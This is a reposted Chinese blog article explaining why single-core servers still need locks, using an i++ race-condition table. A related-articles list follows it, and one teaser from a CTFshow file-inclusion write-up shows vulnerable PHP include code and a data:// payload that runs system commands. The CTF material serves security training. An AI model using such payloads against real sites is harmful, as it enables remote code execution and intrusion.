面试官:单核服务器可以不加锁吗?

news/2024/9/21 7:41:46

今天有位同学问了磊哥一个问题,大概的意思是“单核服务器可以不加锁吗?”,我觉得很有意思,所以在这里就和各位探讨一下:

1. 问题答案

先说我的理解,单核服务器仍然需要加锁

因为在单核服务器上也会有线程切换,如果不加锁,那么线程切换后,另一个线程就可以访问其他线程未操作完的共享变量,这就会导致操作的共享变量发生数据覆盖的问题,所以是需要加锁。

例如,以下案例,线程 T1 和线程 T2 都要执行 i++ 操作,i 的初始值为 0,所以正确的执行结果应该是 2。但如果不加锁,即使在单核服务器下也会造成数据覆盖问题,最终的执行结果为 1 的情况,具体执行流程如下:

2. 原因分析

因为 i++ 并不是原子操作,它的执行要分为以下 3 步:

  1. 查询 i 的值。
  2. 执行 i+1 修改操作。
  3. 将结果赋值给 i 变量。

如果是加锁操作,那么线程可以一个个执行,首先某一个线程先把 i 修改为 1,然后另一个线程再次基础上将结果修改为 2。

但如果不加锁,那么就会导致下面的问题:

线程 1 线程 2
t1 读取到 i 的值为 0
t2 读取到 i 的值为 0
t3 执行 +1 操作,修改 i 为 1
t4 将结果 1 赋值给 i 变量
t5 执行 +1 操作,修改 i 为 1
t6 将结果 1 赋值给 i 变量

从上述执行流程可以看出,即使在单核服务上,依然会发生线程切换的问题。而线程切换就可能会导致数据覆盖的问题,这就是线程安全问题,所以单核服务器也要加锁

课后思考

除了锁机制外,还有哪些手段可以保证线程安全?

本文已收录到我的面试小站 www.javacn.site,其中包含的内容有:Redis、JVM、并发、并发、MySQL、Spring、Spring MVC、Spring Boot、Spring Cloud、MyBatis、设计模式、消息队列等模块。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/61596.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

[CTFshow] 文件包含 78~88,116~117

web78 if(isset($_GET[file])){$file = $_GET[file];include($file); }else{highlight_file(__FILE__); }php伪协议,data:// 数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码 ?file=data://text/plain,<?=system(ls)?> ?file=data://text/plain,<?…

如何获取并展示PDD商品的详细信息?

在数字化时代,获取并展示PDD商品的详细信息对于电商运营者来说至关重要。这不仅有助于提升用户体验,还能增强商品的转化率。以下是一些有效的方法和策略,可以帮助你获取并展示PDD商品的详细信息。利用API接口 PDD提供了丰富的API接口,允许开发者获取商品的详细信息。通过AP…

重点区域人员徘徊识别监测系统

重点区域人员徘徊识别监测系统对监控画面中重要区域进行实时检测分析。当重点区域人员徘徊识别监测系统检测到一些人徘徊停留时,SuiJi-Ai系统立即报警,并提醒相关负责人妥善处理同时将报警截图和视频保存到数据库中生成表格。SuiJi-Ai重点区域人员徘徊识别监测系统主要通过现…

章13——包装类——Math类

常用方法 均为静态1、random 默认下返回 0 到 1 的随机数(前闭后开) 2、如取 2->7 之间的随机数: int a = (int)(2 + (5+1)*Math.random()); //+1的原因:(int)会舍去小数,且 random 的取值前闭后开,如果不 +1 最大只能取到6

新能源汽车如何更好地落地供应商伙伴协同系统管理?

近年来,我国新能源汽车业得到快速发展,从新能源汽车制造的产业链来说,包括上中下游,其中: 上游产业主要包括原材料供应和关键零部件生产两大部分: 原材料供应:主要为矿产资源和化工材料。 关键零部件生产:包括动力电池、电机及控制器、电池管理系统(BMS)等。中游产业…

安全帽佩戴识别算法

安全帽佩戴识别算法采用SuiJi-AI人工智能深度学习技术+计算机智能视觉识别算法,且通过规模化的安全帽数据识别训练。安全帽佩戴识别算法借助现场已有的监控摄像头对监控画面中人员着装行为进行实时分析识别。假如检测人员不戴安全帽,SuiJiAi将立即记录和警报,并可将纪录数据…

徘徊行为AI智能分析预警系统

徘徊行为AI智能分析预警系统可以立即对视频监测区域进行实时分析,自动识别监测监控画面中同一角色的来回进出频率,徘徊行为AI智能分析预警系统对多次进出徘徊人员实时检测预警,弥补人为因素的监督盲点。徘徊行为AI智能分析预警系统真正提高了安全监控的效率,可以尽快发现违…

人员徘徊识别系统

人员徘徊识别系统利用现场已有监控摄像头可以实时剖析监控画面中人员异常徘徊行为,当人员徘徊识别系统识别到特殊重要区域(危险区域)附近出现人员来回反复停留时,系统会立即搜抓拍预警并同步异常违规信息到后台,及时通告有关人员留意出现异常的目标,方便及时到现场处理。…